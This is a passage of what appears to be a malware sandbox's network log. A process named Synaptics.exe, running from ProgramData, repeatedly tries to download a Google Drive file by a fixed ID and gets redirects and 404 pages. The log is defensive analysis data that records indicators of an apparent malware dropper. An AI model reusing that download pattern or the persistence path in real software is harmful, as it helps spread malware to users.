2024-08-05 10:00:34 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 36 32 74 76 74 49 37 4b 75 32 79 4c 4d 58 61 45 51 55 45 6f 77 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="62tvtI7Ku2yLMXaEQUEowA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-08-05 10:00:34 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.7	49747	142.250.185.65	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:34 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ
2024-08-05 10:00:35 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 05 Aug 2024 10:00:34 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-wukt907i-vDAWtaYkfVTQQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1642 X-GUploader-UploadID: AHxI1nOY8Bvfzja-Y872o2FRxndIdL0yret5mihEaZFI3K53nQ268wvM90vs295Y_0ZYyqSQ2WEFeVe5Nw Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-05 10:00:35 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-08-05 10:00:35 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6b 67 67 33 41 67 4b 61 76 70 36 65 6a 4f 43 6b 46 76 42 69 4f 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="kgg3AgKavp6ejOCkFvBiOQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-08-05 10:00:35 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.7	49752	142.250.185.174	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:36 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-08-05 10:00:36 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 05 Aug 2024 10:00:36 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-N_IxU1OxMmOnb2_82fLX1A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.7	49753	142.250.185.174	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:36 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-08-05 10:00:36 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 05 Aug 2024 10:00:36 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-jV3hKDxWtSxbt6i6fwA9VA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.7	49754	142.250.185.65	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:36 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ
2024-08-05 10:00:36 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 05 Aug 2024 10:00:36 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-1GlM3DvQg1qYMROJzWQgjg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1642 X-GUploader-UploadID: AHxI1nNimZnCxxERMCpV3gr-b-lqK7G_ib4GYCohPEThy6iqJ2yOJzqY8qf6tWbZCcV8n0bJIDww-YRA5A Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-05 10:00:36 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-08-05 10:00:36 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 62 39 73 68 6a 59 41 77 49 79 74 48 73 31 2d 4a 4a 68 58 38 64 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="b9shjYAwIytHs1-JJhX8dQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-08-05 10:00:36 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.7	49759	142.250.185.174	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:39 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-08-05 10:00:39 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 05 Aug 2024 10:00:39 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-GTgNEojM_v88_mZa5gr7KQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.7	49758	142.250.185.65	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:39 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ
2024-08-05 10:00:39 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 05 Aug 2024 10:00:39 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-cYnM-a8AM4ydoYZp3mNIGQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1642 X-GUploader-UploadID: AHxI1nMsSoo7fwYCf1d-CCFYOi7X6hjEmXQwQF_iePu2rAC7J_YFI6WY7ZMub9qX7hxdR0bfhsP67i-Dvw Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-05 10:00:39 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-08-05 10:00:39 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 72 33 67 35 70 61 4e 75 62 77 53 74 48 67 31 36 71 70 6f 72 6b 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="r3g5paNubwStHg16qporkw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-08-05 10:00:39 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.7	49756	142.250.185.174	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:39 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-08-05 10:00:39 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 05 Aug 2024 10:00:39 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-Mtt-nViOthDTfokBDWk64w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.7	49760	142.250.185.65	443	7476	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-05 10:00:39 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=fJrr378nNHEu43XmbqhSVePnqSM0RryAhxSym8dVmcP8ijs6vIV8Wb1PurJnN6Gt6jBtAFiXDiwE6I4b5IP-g4IW4ZzIyRHIfaoyX3o7ZWvup63SefidXkheFZvhMvRgnEyxA5DnOoXfGiQRqN-QltqkfC-KFSiKA2AU_Bm6FGQ
2024-08-05 10:00:40 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 05 Aug 2024 10:00:39 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-lnQmpsl30sq5gNYvk-Mkvg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1642 X-GUploader-UploadID: AHxI1nOYxqbWL2oT7fFGJHKnkK1uqENQsxIn-Dd2Mq4AT2NY05BdnGrLfNhSYkS4dVJLboHER0s Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-05 10:00:40 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
